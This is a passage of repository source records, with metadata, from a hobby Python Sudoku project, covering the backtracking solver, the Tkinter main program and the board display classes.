SlTrace.lg(f\"backup: move: {self.nmove} ply.depth:{ply.depth} < self.depth{self.depth}\", \"trace_move\")\n self.depth = ply.depth\n if self.depth < self.prev_ply.depth:\n self.nbackup += 1\n if self.max_depth is None or self.depth > self.max_depth:\n self.max_depth = self.depth\n self.prev_ply = ply\n self.dur = time.time() - self.solve_start\n if SlTrace.trace(\"trace_move\"):\n self.trace_check(ply=ply)\n \n def trace_check(self, ply=None, prefix=None):\n \"\"\" Do timely reporting of trace\n Check for backup here, comparing with ply.depth\n against prev_ply.depth\n :ply: SutokuPly, if known\n \"\"\"\n if prefix is None:\n prefix = \"\"\n depth_info = \"\"\n sq_info = \"\"\n sq_info = f\"empty: {self.nempty}[{self.min_nempty}-{self.max_nempty}]\"\n depth_info = f\" depth: {self.depth} max depth: {self.max_depth}\"\n sol_time = f\"in {self.dur:.2f} sec\"\n SlTrace.lg(f\"{prefix} move: {self.nmove} {sq_info} backup: {self.nbackup} {depth_info} {sol_time}\")\n\n def new_backup(self, ply=None):\n \"\"\" Track moves - only called if explicit backup, else calculation is done implicitly\n :ply: SudokuPLy, if known\n \"\"\"\n self.nbackup += 1\n self.track_move(ply=ply)\n \n def new_move(self, ply=None):\n \"\"\" Track moves\n :ply: SudokuPLy, if known\n \"\"\"\n self.nmove += 1\n self.track_move(ply=ply)\n \n def copy(self):\n \"\"\" Copy puzzle to insulate changes in data\n :Returns: copy of data with new objects for cells\n \"\"\"\n cp = SudokuPuzzle(rows=self.nRow, grows=self.nSubRow,\n cols=self.nCol, gcols=self.nSubCol,\n file_name=self.file_name,\n nmove = self.nmove,\n nbackup = self.nbackup)\n for ri in range(cp.nRow):\n row = ri + 1\n for ci in range(cp.nCol):\n col = ci + 1\n val = self.getCellVal(row=row, col=col)\n if val is not None:\n cp.add_cell(row=row, col=col, val=val)\n return cp\n" }, { "alpha_fraction": 0.5163350701332092, "alphanum_fraction": 0.5194623470306396, "avg_line_length": 30.706750869750977, "blob_id": "19f5eeaa6e2a2ac7c0683d9d7a351c029103b569", "content_id": "145a50b0849bb5e6e5be8f4bd9b0009f8b341676", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15029, "license_type": "no_license", "max_line_length": 102, "num_lines": 474, "path": "/puzzle/SudokuPly.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "#SudokuPly.pm\n\"\"\"\nOne play possibilities\n\"\"\"\nfrom select_trace import SlTrace\nfrom select_error import SelectError\nfrom sudoku_search_stop import SudokuSearchStop\nimport sudoku_globals as g\n\nfrom SudokuData import SudokuData, CellDesc\nfrom docutils.nodes import row\n \nclass SudokuPly(SudokuData):\n ch_one_depth = None # Depth in choice 0\n stop_searching = False # Set True to stop searching (soon)\n \n \n \n # Setup move display\n @classmethod\n def setDisplay(cls, display_rtn=None, display_time=None):\n if display_time is None:\n display_time = .3 \n cls.DisplayRtn = display_rtn\n cls.Display_time = display_time\n\n @classmethod\n def clear_search_stop(cls):\n cls.stop_searching = False\n\n @classmethod\n def stop_search(cls, msg=None):\n cls.stop_searching = True\n \n @classmethod\n def ck_search(cls):\n if cls.stop_searching:\n raise SudokuSearchStop()\n \n def __init__(self,displayRtn=None, displayTime=None, **kwargs):\n if SlTrace.trace(\"sudokuply\"):\n SlTrace.lg(f\"\\nSudokuPly(kwargs={kwargs}\")\n self.ck_search()\n self.choices = None\n self.setCellList = [] # setCell trace\n if displayRtn is not None:\n self.DisplayRtn = displayRtn\n if displayTime is not None:\n self.DisplayTime = displayTime\n self.level = 0\n self.depth = 0\n super().__init__(**kwargs)\n self.startList = None\n base = kwargs['base'] if 'base' in kwargs else None\n if SlTrace.trace(\"sudokuply\"):\n if base is not None:\n base.display(\"SudokuPly(base)\")\n self.setPlyData(base=base)\n self.choices = self.getChoices()\n \n \n #\n # Populate puzzle\n # - populate given cells\n # \n def populatePuzzle(self, **kwargs):\n \"\"\" Populate puzzle\n populate given cells\n :startLis: t=><start array of cells>\n :choice:=><index in startList for prospective cell>\n :returns: array of fully populated bds\n \"\"\"\n self.ck_search()\n startList=None\n if 'starList' in kwargs:\n startList = kwargs['starList']\n choice=None\n if 'choice' in kwargs:\n choice = kwargs['choice']\n self.level += 1\n if startList is None:\n SlTrace.lg(f\"popuatePuzzle(level:{self.level}): no startList\")\n startList = []\n startCells = startList[:] \n if (SlTrace.trace('depth')):\n SlTrace.lg(f\"populatePuzzle: level={self.level}\"\n + f\" depth = {self.depth}\")\n self.display(\"end populatePuzzle\")\n SlTrace.lg(f\"================\")\n \n \n if len(startCells) == 0:\n # Check if solution possible\n # and unique\n sols = self.solvePuzzle(nFirst=10)\n self.level -= 1\n return sols\n \n \n if choice is not None:\n r_choice = startCells.pop(choice)\n r_chvals = r_choice.vals\n chvals = r_chvals\n for chval in chvals:\n ply = self.copy()\n row = r_choice.row\n col = r_choice.col\n ply.setCell(row, col, chval)\n \n del kwargs['choice'] # Look for choices\n sols = ply.populatePuzzle(**kwargs)\n if sols == 0:\n continue\n \n self.level -= 1\n return sols\n \n self.level -= 1\n return [] # No acceptable patterns\n \n \n choices = self.orderChoices(startCells)\n choices = choices[:]\n if (len(choices) == 0):\n self.level-= 1\n return []\n \n \n ncmin = choices[0].nval\n if ncmin == 0:\n self.level -= 1\n return [] # No choices for most constrained\n \n maxind = len(choices) - 1\n r_max = choices[maxind] # Look at least constrained\n \n r_chvals = r_max.vals\n chvals = r_chvals[:]\n for chval in chvals:\n sols = self.populatePuzzle(\n startList=choices,\n choice=maxind,\n )\n if sols == 0:\n continue\n self.level -= 1\n return sols\n \n self.level -= 1\n return []\n \n \n \n #\n # Set current ply data\n def setPlyData(self, base=None):\n if SlTrace.trace(\"setPlyData\"):\n self.display(f\"setPlyData before depth={self.depth} choices={self.choices}\")\n if base is None:\n self.choices = [] # Cell choices ordered by number of vals\n self.nchoice = 0 # Number of choices\n self.depth = 0\n self.data = None\n if isinstance(base, SudokuPly):\n self.back = base # link back\n ###r_base_data = base.data\n ###self.data = SudokuPly(base=r_base_data)\n a_start_list = base.startList\n a_new_list = self.startList = []\n depth = self.depth\n if depth is None:\n depth = 0 \n self.depth = depth + 1\n if base.level is not None:\n self.level = base.level\n \n if a_start_list is not None:\n a_new_list.extend(a_start_list)\n elif isinstance(base,SudokuData):\n pass\n ###self.data = SudokuData(base=base)\n else:\n raise SelectError(f\"Can't set SudokuPly from {base}\")\n\n self.choices = self.getChoices()\n if SlTrace.trace(\"setPlyData\"):\n self.display(f\"setPlyData after depth={self.depth} choices={self.choices}\")\n \n # Get cell info\n def getCell(self, row, col): # Returns: data cell\n cell = self.vals.getCell(row, col)\n return cell\n \n \n \n # Get base data (SudokuData)\n # or new data with partial subset\n def getData(self, data=None, subset=None): # Returns: SudokuData\n subset = subset\n if data is None:\n data = self.data\n if subset is None:\n return data\n \n new_data = data()\n for cell in subset:\n row = cell.row\n col = cell.col\n val = data.getCell(row, col)\n new_data.setCellVal(row=row, col=col, val=val)\n \n return new_data\n \n \n \n \n \n # get links to all ply ancestors\n def getPlyList(self): # Retrns: List of plys, including this\n plys = []\n back = self\n while back is not None:\n plys.append(back)\n back = back.back\n \n return plys\n \n \n def getSetList(self): # Returns: list of setCell hash\n plys = self.getPlyList()\n sets = []\n for ply in plys:\n setCellList = self.setCellList\n sets.append(setCellList)\n return sets\n \n \n #\n # Make puzzle setup\n #\n def makePuzzle(self, *args, **kwargs): # Returns: ply with sol else None\n \"\"\"\n :startList: <start array of cells>\n :choice: <index in startList for prospective cell>\n \"\"\"\n startList = None\n if 'startList' in kwargs:\n pops = self.populatePuzzle(*args, **kwargs)\n startList = kwargs['startList']\n if startList is None:\n raise SelectError(\"makePuzzle: undefined startList\")\n \n \n\n if len(pops) == 1:\n return pops[0]\n \n return None\n \n \n # Assemble list of next move choices\n # sorted in ascending number of values per cell\n @staticmethod\n def _choices_cmp_val(elm):\n return elm.nval\n \n ''' inherited from SudokuData\n # Get next empty cell in board data, if any\n def getNextEmpty(self, ): # Returns: cell ref, else None if none empty\n r_data = self.data\n return r_data.getNextEmpty()\n '''\n \n def getNextChoice(self):\n \"\"\" Get next suggested cell\n going through start list, choices till best choice in start list\n then best choice, till done then empty\n for now we check for empty\n \"\"\"\n if SlTrace.trace(\"getnextchoice\"):\n self.display(\"getNextChoice\")\n self.choices = self.vals.getChoices()\n if SlTrace.trace(\"getnextchoice\"):\n SlTrace.lg(f\"getNextChoice of {self.choices}\")\n start_list = self.startList\n choices = self.choices\n if choices is None or len(choices) == 0:\n return None\n \n ch = self.choices[0]\n if ch is None or len(ch.vals) == 0:\n return None # No choice for most constrained\n \n if (start_list is None\n or len(start_list) == 0): # No start -> take choice\n return self.choices.pop(0)\n \n # Choose choice specified in start_list \n for ich in range(choices):\n choice = choices[ich]\n ch_row = choice.row\n ch_col = choice.col\n for ist in range(len(start_list)):\n start = start_list[ist]\n if (start.row == ch_row\n and start.col == ch_col):\n start_list.pop(ist)\n self.choices.pop(ich)\n return choice\n \n \n return None\n \n \n #\n # Set new ply as deep copy of old ply\n # Set from arg's data\n # This may be opdimized later\n def setPly(self, r_ply):\n r_data = r_ply.data\n self.setData(r_data)\n \n \n \n # Set puzzle start up values\n #\n def setPuzzle(self, **kwargs): # Returns: TRUE iff successful setup\n #startList= list of cells to populate\n if \"startList\" not in kwargs:\n raise SelectError(\"missing startList\")\n starts = kwargs[\"startList\"]\n # Process until list completed\n while starts > 0:\n pass\n \n def solveChoice(self, *args, **kwargs): # Returns: solution list, empty if none\n \"\"\" Solve puzzle for given choice\n If no choice - use first in 'choices'\n Plan\n Check for possible solutions by keeping a list of cells ordered\n by increasing number of legal values.\n Loop over candidates in choice\n Choose candidate value from cell\n Solve resulting board\n returning list of solutions, possibly empty\n \"\"\"\n if SlTrace.trace(\"solvechoice\"):\n SlTrace.lg(f\"solveChoice: args={args} kwargs={kwargs}\")\n self.display()\n if self.getNextEmpty() is None:\n # Filled\n if self.DisplayRtn is not None:\n self.DisplayRtn()\n \n return [self]\n \n \n choice = kwargs['choice'] if 'choice' in kwargs else None # choice CellDesc\n nfirst = kwargs['first'] if 'first' in kwargs else None # Limit to first n if defined\n start_list = kwargs['startList'] if 'startList' in kwargs else None\n # Add selection restrictions, if any\n if start_list is not None:\n if not hasattr(self, 'startList'):\n self.startList = [] \n self.startList.append(start_list)\n \n if choice is None:\n choice = self.getNextChoice()\n if choice is None:\n return [] \n if SlTrace.trace(\"solvechoice\"):\n SlTrace.lg(f\"solveChoice: choice={choice} nfirst={nfirst} start_list={start_list}\")\n self.display()\n \n sols = [] # list of solutions, possibly empty\n row = choice.row\n col = choice.col\n vals = choice.vals\n \n for val in vals:\n legals = self.getLegalVals(row=row, col=col)\n if len(legals) < 1:\n SlTrace.lg(f\"solveChoice {kwargs} - len(legals)<1\")\n legals = self.getLegalVals(row=row, col=col)\n continue\n if val not in legals:\n SlTrace.lg(f\"val{val} not in row={row} col={col} legals:{legals}\")\n continue\n sol1s = self.solveChoiceOne(row=row, col=col, val=val,\n first=nfirst-len(sols))\n sols.extend(sol1s)\n if len(sols) >= nfirst:\n break # Quit if we got enough\n \n return sols\n \n \n \n # \n def solveChoiceOne(self, **kwargs):\n \"\"\" Solve puzzle for one specific row, col, value\n Returns: list of solutions, possibly empty\n \"\"\"\n row = kwargs['row']\n col = kwargs['col']\n val = kwargs['val']\n nfirst = kwargs['first']\n self.enterChoiceOne(**kwargs)\n ch1 = SudokuPly(base=self) # Create deep copy of ourself\n legals = self.getLegalVals(row=row, col=col)\n if len(legals) < 1:\n SlTrace.lg(f\"solveChoiceOne {kwargs} - len(legals)<1\")\n legals = self.getLegalVals(row=row, col=col)\n else: \n ch1.setCell(row, col, val)\n ret = ch1.solveChoice(first=nfirst)\n self.exitChoiceOne(ret)\n return ret\n \n \n \n #\n # Deep copy of ply\n #\n def copy(self, ): # Returns: deep copy\n ply = SudokuPly(base=self)\n return ply\n \n \n \n # Simple display of data area\n def display(self, msg=None):\n if msg is None:\n msg = \"SudokuPly data\"\n super().display(msg=msg)\n \n \n \n def displaySetCellList(self, ):\n setCells = self.getSetList()\n SlTrace.lg(f\"setCells:\", \"display\")\n for r_set in setCells:\n col = r_set.col\n row = r_set.row\n val = r_set.val\n SlTrace.lg(f\"C{col}R{row}:{val}\", \"display\")\n \n SlTrace.lg(f\"\")\n \n\n def enterChoiceOne(self, row=None, col=None, val=None, first=None):\n if self.ch_one_depth is None:\n self.ch_one_depth = 0 \n self.ch_one_depth += 1\n if SlTrace.trace(\"solve\"):\n SlTrace.lg(f\"enterChoiceOne depth: {self.ch_one_depth}\"\n + f\" row={row} col={col} val={val}\")\n self.display()\n \n if self.Display_time is not None and self.DisplayRtn is not None:\n self.DisplayRtn()\n \n \n def exitChoiceOne(self, res=None):\n if self.ch_one_depth is None:\n self.ch_one_depth = 0 \n self.ch_one_depth -= 1\n if SlTrace.trace(\"solve\"):\n SlTrace.lg(f\"exitChoiceOne depth: {self.ch_one_depth}\")\n self.display()\n \n \n def solvePuzzle(self, startList=None, nFirst=1): # Returns: ref to solution, else None\n return self.solveChoice(first=nFirst)\n" }, { "alpha_fraction": 0.618677020072937, "alphanum_fraction": 0.6225680708885193, "avg_line_length": 36.522125244140625, "blob_id": "2224d79c821c39e5a23a9625a3f479a9df97b050", "content_id": "ce5ae86500b444b98b8d9e480d1d7ee1914c9bf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8481, "license_type": "no_license", "max_line_length": 129, "num_lines": 226, "path": "/puzzle/sudoku.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoko.py\n\"\"\"\nThis is a program to solve, and someday create, Sudoku puzzles\nIt was adapted from the Perl program sudoku.pl\nTo ease the adaption process the original variable, function and file names, where possible, have been preserved.\nThe Trace.pm module use has been replaced by the select_trace.py module.\n\"\"\" \n\n\n##############\n## External ##\n##############\nfrom math import *\nimport datetime\nimport traceback\nimport time\nimport os\nimport argparse\nimport re\nfrom tkinter import *\n\n\n\n\n###############\n## Libraries ##\n###############\nfrom select_trace import SlTrace\nfrom select_error import SelectError\nbase_name = os.path.splitext(os.path.basename(sys.argv[0]))[0]\nSlTrace.setLogName(base_name)\nSlTrace.lg(f\"{base_name} {' '.join(sys.argv[1:])}\")\n\nfrom select_window import SelectWindow\nfrom select_control import SelectControl\nfrom variable_control import VariableControl\nfrom trace_control import TraceControl\nfrom tkMath import tkMath\n\nfrom sudoku_subs import *\nimport sudoku_globals as g\ng.initialize_globals()\n##################\n## User-defined ##\n##################\n# Set up main board\ndef prime_exit():\n SlTrace.lg(\"Prime Exit\")\n g.running = False\n pgm_exit()\n \nmw = g.Display_mw = Tk() # To support grid layout - MUST be done before wm\nmw.title(\"Sudoku Playing\")\nmw.protocol(\"WM_DELETE_WINDOW\", prime_exit)\ntkMath.setup(mw)\ncF = SelectControl(control_prefix=\"run_control\", update_report=update_report)\ncF.make_label(\"Puzzle Dimensions\")\ng.nCol = cF.make_val(\"nCol\", 9)\ng.nSubCol =cF.make_val(\"nSubCol\", 3)\ng.nRow = cF.make_val(\"nRow\", 9)\ng.nSubRow = cF.make_val(\"nSubRow\", 3)\n\ncF.make_label(\"Puzzle Size\")\ng.bSize = cF.make_val(\"bSize\", 3) # Main Bd size inches\ng.sSize = cF.make_val(\"sSize\", 2) # Solution Bd size\ng.nFirst = cF.make_val(\"nFirst\", 5) # first n solutions\ng.makePuzzle = cF.make_val(\"makePuzzle\", False) # If defined, generate puzzle with this many cells filled\ng.makePuzzleSym = cF.make_val(\"PuzzleSym\", \"c\") # Puzzle symetry pref for initial settings\n # x, y, center, n - none\ng.traceList = cF.make_val(\"traceList\", \"any\")\ng.UsePuzzle = cF.make_val(\"UsePuzzle\", False)\ng.xPer = cF.make_val(\"xPer\", False) # experimental\n\n # Progress display variables\ncF.make_label(\"Display Time\")\ng.Display_time = cF.make_val(\"Display_time\", .5) # Display time, None - no display\n # 0 - wait for continue\n # > 0 delay (sec)\ng.update_time = cF.make_val(\"update_time\", 10.)\ng.Display_board = None\ng.Display_prev_time = 0 # Previous display time \n##################\n## Main program ##\n##################\nparser = argparse.ArgumentParser()\n\n###parser.add_argument('--closed_tours', type=str2bool, dest='closed_tours', default=closed_tours)\n###parser.add_argument('--display_complete', type=str2bool, dest='display_complete', default=display_complete)\n###parser.add_argument('--display_path_board', type=str2bool, dest='display_path_board', default=display_path_board)\n###parser.add_argument('--max_look_ahead=', type=int, dest='max_look_ahead', default=max_look_ahead)\n\nparser.add_argument('--cols', type=int, dest='nCol', default=g.nCol) # Number of cell col\nparser.add_argument('--bSize', type=float, dest='bSize', default=g.bSize) # Board size in inches\nparser.add_argument('--displayTime', type=float, dest='Display_time', default=g.Display_time) # Solution step display time (sec)\n # 0 - till user ACK, None - none\nparser.add_argument('--first', type=int, dest='nFirst', default=g.nFirst) # first(atleast) solutions\nparser.add_argument('--gcols', type=int, dest='nSubCol', default=g.nSubCol) # Number of cell col in group\nparser.add_argument('--grows=', type=int, dest='nSubRow', default=g.nSubRow) # Number of cell row in group\nparser.add_argument('--makePuzzle', type=int, dest='makePuzzle', default=g.makePuzzle) # Make random puzzle with n start\nparser.add_argument('--msymetric', type=str, dest='makePuzzleSym', default=g.makePuzzleSym) # Make puzzle symetry\nparser.add_argument('--rows', type=int, dest='nRow', default=g.nRow) # Number of cell row\nparser.add_argument('--sSize=f', type=float, dest='sSize', default=g.sSize) # Solution board size\nparser.add_argument('--traceList=s', type=str, dest='traceList', default=g.traceList) # Comma separated trace list\nparser.add_argument('--uPuzzle', type=str2bool, dest='UsePuzzle', default=g.UsePuzzle) # Use preset puzzle\nparser.add_argument('--update_time', type=str2bool, dest='update_time', default=g.update_time) # Use preset puzzle\nparser.add_argument('--xper=n', type=int, dest='xPer', default=g.xPer) # Experimental = 1\n\nargs = parser.parse_args() # or raise SelectError(\"Illegal options\")\nSlTrace.lg(f\"args: {args}\")\ng.nCol = args.nCol\ng.bSize = args.bSize \ng.Display_time = args.Display_time\ng.nFirst = args.nFirst\ng.nSubCol = args.nSubCol\ng.makePuzzle = args.makePuzzle\ng.makePuzzleSym = args.makePuzzleSym\ng.nRow = args.nRow\ng.sSize = args.sSize\ng.traceList = args.traceList\ng.UsePuzzle = args.UsePuzzle\ng.xPer = args.xPer\n\n # Update persistent values\ncF.set_val(\"bSize\", g.bSize) # Main Bd size inches\ncF.set_val(\"sSize\", g.sSize) # Solution Bd size\ncF.set_val(\"nFirst\", g.nFirst) # first n solutions\ncF.set_val(\"makePuzzle\", g.makePuzzle) # If defined, generate puzzle with this many cells filled\ncF.set_val(\"PuzzleSym\", g.makePuzzleSym) # Puzzle symetry pref for initial settings\n # x, y, center, n - none\ncF.set_val(\"nCol\", g.nCol)\ncF.set_val(\"nSubCol\", g.nSubCol)\ncF.set_val(\"nRow\", g.nRow)\ncF.set_val(\"nSubRow\", g.nSubRow)\ncF.set_val(\"traceList\", g.traceList)\ncF.set_val(\"update_time\", g.update_time)\ncF.set_val(\"UsePuzzle\", g.UsePuzzle)\ncF.set_val(\"xPer\", g.xPer) # experimental\ncF.set_val(\"Display_time\", g.Display_time)\n\n\n\ntrace = True if g.traceList is not None else False\nSlTrace.setFlags(g.traceList)\n\nif g.nSubCol is None:\n nSubCol = int(sqrt(g.nCol))\nif g.nRow is None:\n g.nRow = g.nCol # Set square by default\nif g.nSubRow is None:\n nSubRow = int(sqrt(g.nRow))\nmakePuzzle = int(g.nCol*g.nRow/3)\nif g.makePuzzle % 2 == 1:\n makePuzzle -= 1 # Make even\n \nmw.update()\nbs_in = int(tkMath.inchesToPixels(g.bSize))\nw = bs_in + 200\nh = bs_in + 100\n\n \ng.nSol = None # Solution window number\n\ng.top_fr = Frame(mw)\ng.top_fr.pack(side = 'top')\ncontrol_fr = Frame(g.top_fr)\ncontrol_fr.pack(side = 'top')\napp = SelectWindow(g.Display_mw,\n title=\"Playing Sudoku\",\n arrange_selection=False,\n pgmExit=prime_exit,\n file_open = file_open,\n )\napp.add_menu_command(\"Puzzle\", file_open) # Dedicated puzzle menu item\napp.add_menu_command(\"Contols\", set_controls) # Display variable controls\nmw.geometry(f\"{w}x{h}\")\nmw.update()\n\nsolve_puzzle = Button(control_fr, \n text = \"Solve Puzzle\", # Guess all remaining\n command = solve_main_puzzle,\n )\nsolve_puzzle.pack(side = 'left')\n\nmake_puzzle_b = Button(control_fr, \n text = \"Make Puzzle\",\n command = make_puzzle,\n )\nmake_puzzle_b.pack(side = 'left')\n\nreset_b = Button(control_fr, \n text = \"Reset\", # Reset to initial setting\n command = reset_board\n )\nreset_b.pack(side = 'left')\n\nclear_b = Button(control_fr, \n text = \"Clear Board\",\n command = clear_board,\n )\nclear_b.pack(side = 'left')\n\n\n\n\n\nsbox_fr = None # Set value frame\nsbox = None # selection box\nsbox_row = None # selected cell row\nsbox_col = None\nsbox_legal_vals = [] # legal vals in selection box \n\ng.o_data = None # Primary data\ng.o_board = None # Primary board\nInitial_data = None # Initial data values\n\n# setup initial position\nif g.UsePuzzle:\n use_puzzle() # Use premade puzzle\nelse:\n sols = make_puzzle(g.makePuzzle)\n\n\n # Display progress during puzzle solution\n \nwhile True:\n update()\n\n" }, { "alpha_fraction": 0.682539701461792, "alphanum_fraction": 0.682539701461792, "avg_line_length": 23.200000762939453, "blob_id": "4eb11f2d21a010acc7f5c3b40c1b196ebdc4af25", "content_id": "7bebbc3524bfec4c2bab1c2ce5507553946b8256", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 126, "license_type": "no_license", "max_line_length": 51, "num_lines": 5, "path": "/src/sudoku_search_stop.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoku_search_stop.py\r\n\r\nclass SudokuSearchStop(Exception):\r\n \"\"\"Base class for exceptions in this module.\"\"\"\r\n pass\r\n" }, { "alpha_fraction": 0.46262699365615845, "alphanum_fraction": 0.46839797496795654, "avg_line_length": 29.46641731262207, "blob_id": "fedcf84d3513d0007d0dc7cbdb2e85a50fcebc2f", "content_id": "e69afa2ffef349a8d17e770f786b2576b1d67d5e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 25299, "license_type": "no_license", "max_line_length": 104, "num_lines": 804, "path": "/puzzle/SudokuBoard.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "#SudokuBoard.pm\r\n\r\n# Thanks to JCN for Tk reintroduction and insights.\r\n\r\n# Sudoku Board Goals / Requirements\r\n# 1. Runtime variable row, col, major rows, major cols\r\n# 2. Runtime resize of puzzle board including text size\r\n# text resizes based on number of rows...\r\n#\r\nfrom tkinter import *\r\nfrom tkinter.font import Font\r\n\r\nfrom select_trace import SlTrace\r\nfrom select_error import SelectError\r\n\r\nimport sudoku_globals as g\r\n\r\nfrom SudokuData import SudokuData, CellDesc, CellMark\r\n\r\nmarkerTagDef = 1 # Default marker tag\r\n\"\"\"\r\nArgument setting for create_line\r\n\"\"\"\r\nclass LineArgs:\r\n pos = None # orthogonal position\r\n args = []\r\n kwargs = {}\r\n\r\nclass SudokuBoard:\r\n pixelPerIn = 117 # Screen pixels per in (a guess)\r\n \r\n \r\n # Setup new board\r\n # Creates main window unless provided in opth{mw}\r\n def __init__(self,\r\n mw = None,\r\n frame = None, # If present, use this as basis of operation\r\n data = None,\r\n rows = None, # Used only if data is None\r\n grows = None,\r\n cols = None,\r\n gcols = None,\r\n # TBD - determine via system call\r\n bdWidth = 3, # Board with in inches\r\n bdHeight = 3, # Board height in inches\r\n bdBg = \"white\", # Board background\r\n bdBorderWidth = 6, # Board border width\r\n bdBorderHeight = 6, # Board border height\r\n bdBorderFg = \"blue\", # Board border color\r\n # row, col, subrow, sub col from Data\r\n bdFont = None,\r\n bdFontName = \"times\", # Board font name\r\n # Board fond size determined from row\r\n \r\n cellSep = 2, # Cell separator in pixels\r\n cellSepFg = \"skyblue\", # Cell separator color\r\n groupSep = 6, # Cell group separator in pixels\r\n groupSepFg = \"skyblue\", # Group separator color\r\n hilightFg = \"red\",\r\n selectBg = \"pink\",\r\n markWidth = 4, # Marker width\r\n markBg = \"hotpink\", # Marker backround color\r\n initialData = None,\r\n ):\r\n \r\n # TBD - determine via system call\r\n self.bdWidth = bdWidth\r\n self.bdHeight = bdHeight\r\n self.bdBg = bdBg\r\n self.bdBorderWidth = bdBorderWidth\r\n self.bdBorderHeight = bdBorderHeight\r\n self.bdBorderFg = bdBorderFg\r\n # row, col, subrow, sub col from Data\r\n self.bdFont = bdFont\r\n self.bdFontName = bdFontName\r\n # Board fond size determined from row\r\n \r\n self.cellSep = cellSep\r\n self.cellSepFg = cellSepFg\r\n self.groupSep = groupSep\r\n self.groupSepFg = groupSepFg\r\n self.hilightFg = hilightFg\r\n self.selectBg = selectBg\r\n self.markWidth = markWidth\r\n self.markBg = markBg\r\n \r\n if data is not None:\r\n if rows is not None or grows is not None or cols is not None or gcols is not None:\r\n raise SelectError(f\"Don't include data AND rows({rows}),\"\r\n f\"cols({cols}),grows({grows}),gcols({gcols})\")\r\n rows = data.nRow\r\n grows = data.nSubRow\r\n cols = data.nCol\r\n gcols = data.nSubCol\r\n # Setup as empty cells, awaiting formatting marking info\r\n self.cells = [[CellDesc(row=ri+1, col=ci+1) for ci in range(cols)] for ri in range(rows)]\r\n if data is not None:\r\n rows = data.nRow\r\n grows = data.nSubRow\r\n cols = data.nCol\r\n gcols = data.nSubCol\r\n for ri in range(rows):\r\n row = ri + 1\r\n for ci in range(cols):\r\n col = ci + 1\r\n data_val = data.getCellVal(row=row, col=col)\r\n if data_val is not None:\r\n self.cells[ci][ri].val = data_val # Set data value\r\n else:\r\n data = SudokuData(rows=rows, grows=grows, cols=cols, gcols=gcols)\r\n self.data = data \r\n \r\n self.initialData = initialData\r\n if initialData is not None:\r\n self.initialize(initialData) \r\n \r\n # Allow trace or traceList\r\n self.markH = {} # Marked cells by tag (0 -> default)\r\n self.data = data # Possibly empty\r\n \r\n \r\n # Uses mw if provided, else creates Minimal Tk setup\r\n if mw is None:\r\n mw = Tk()\r\n mw.title(\"Sudoku GUI\")\r\n self.mw = mw\r\n if frame is not None:\r\n self.use_frame = True\r\n self.frame = frame\r\n self.cv = None\r\n self.newBoard = 1\r\n # Finish Tk setup\r\n self.drawBoard()\r\n \r\n self.bindKeys() # Setup key event processing\r\n\r\n def addMark(self, tag=None, id=None, rc=None, col=None, row=None,\r\n backColor=None, boundColor=None,\r\n boundWidth=None, boundWidget=None):\r\n markH = self.markH\r\n if markH is None:\r\n raise SelectError(\"undefined markH\")\r\n if tag not in markH:\r\n r_marks = markH[tag] = [] # new tag\r\n r_marks.append(CellMark(row=row, col=col, id=id, rc=rc,\r\n backColor=backColor, boundColor=boundColor,\r\n boundWidth=boundWidth, boundWidget=boundWidget))\r\n\r\n def initialize(self, initialData):\r\n \"\"\" initialize - TBD\r\n \"\"\"\r\n pass\r\n \r\n \r\n \r\n # Setup key event processing\r\n def bindKeys(self):\r\n mw = self.mw\r\n mw.bind(0, self.key_digit) \r\n mw.bind(1, self.key_digit) \r\n mw.bind(2, self.key_digit) \r\n mw.bind(3, self.key_digit) \r\n mw.bind(4, self.key_digit) \r\n mw.bind(5, self.key_digit) \r\n mw.bind(6, self.key_digit) \r\n mw.bind(7, self.key_digit) \r\n mw.bind(8, self.key_digit) \r\n mw.bind(0, self.key_digit) \r\n \r\n \r\n def key_event(self, event):\r\n \"\"\" Process key events not bound elsewhere\r\n \"\"\"\r\n SlTrace.lg(f\"key_event {event}\", \"key_event\")\r\n \r\n # Get selected cells\r\n def getSelected(self):\r\n r_mk = self.getMarked()\r\n if r_mk is None or len(r_mk) == 0:\r\n return None \r\n \r\n return r_mk\r\n \r\n \r\n \r\n def keyDown(self):\r\n r_c = self.getSelected()\r\n if r_c is None:\r\n return \r\n \r\n row = r_c.row\r\n col = r_c.col\r\n if row < self.data.nRow:\r\n row += 1 # Stop at last\r\n self.selectCell(row, col)\r\n \r\n \r\n \r\n def keyLeft(self):\r\n r_c = self.getSelected()\r\n if r_c is None:\r\n return \r\n \r\n row = r_c.row\r\n col = r_c.col\r\n if col > 1:\r\n col -= 1 # Stop at first\r\n self.selectCell(row, col)\r\n \r\n \r\n \r\n def keyRight(self):\r\n r_c = self.getSelected()\r\n if r_c is None:\r\n return \r\n \r\n row = r_c.row\r\n col = r_c.col\r\n if col < self.data.nCol:\r\n col += 1 # Stop at first\r\n self.selectCell(row, col)\r\n \r\n \r\n \r\n def keyUp(self):\r\n r_c = self.getSelected()\r\n if r_c is None:\r\n return \r\n \r\n row = r_c.row\r\n col = r_c.col\r\n if row > 1:\r\n row -= 1 # Stop at first\r\n self.selectCell(row, col)\r\n \r\n \r\n \r\n def keySpace(self):\r\n r_c = self.getSelected()\r\n if r_c is None:\r\n return \r\n \r\n row = r_c.row\r\n col = r_c.col\r\n col += 1\r\n if (col > self.data.nCol):\r\n col = 1\r\n row += 1\r\n if row > self.data.nRow:\r\n row += 1\r\n if row > self.data.nRow:\r\n row = 1 \r\n \r\n self.selectCell(row, col)\r\n \r\n \r\n # Key processing functions\r\n def key_digit(self, event):\r\n key = ord(event.char) - ord('0')\r\n r_mk = self.getSelected() # Only get first\r\n if r_mk is None or len(r_mk) == 0:\r\n SlTrace.lg(\"Nothing selected\")\r\n return\r\n \r\n r_c = r_mk[0]\r\n row = r_c.row\r\n col = r_c.col\r\n self.setCell(row, col, key)\r\n \r\n \r\n # Clear markers\r\n def clearMarks(self, tag=None):\r\n if tag is None:\r\n tag = markerTagDef # Do default marker\r\n markH = self.markH\r\n r_marks = markH[tag] if tag in markH else None\r\n if r_marks is None:\r\n return \r\n \r\n cv = 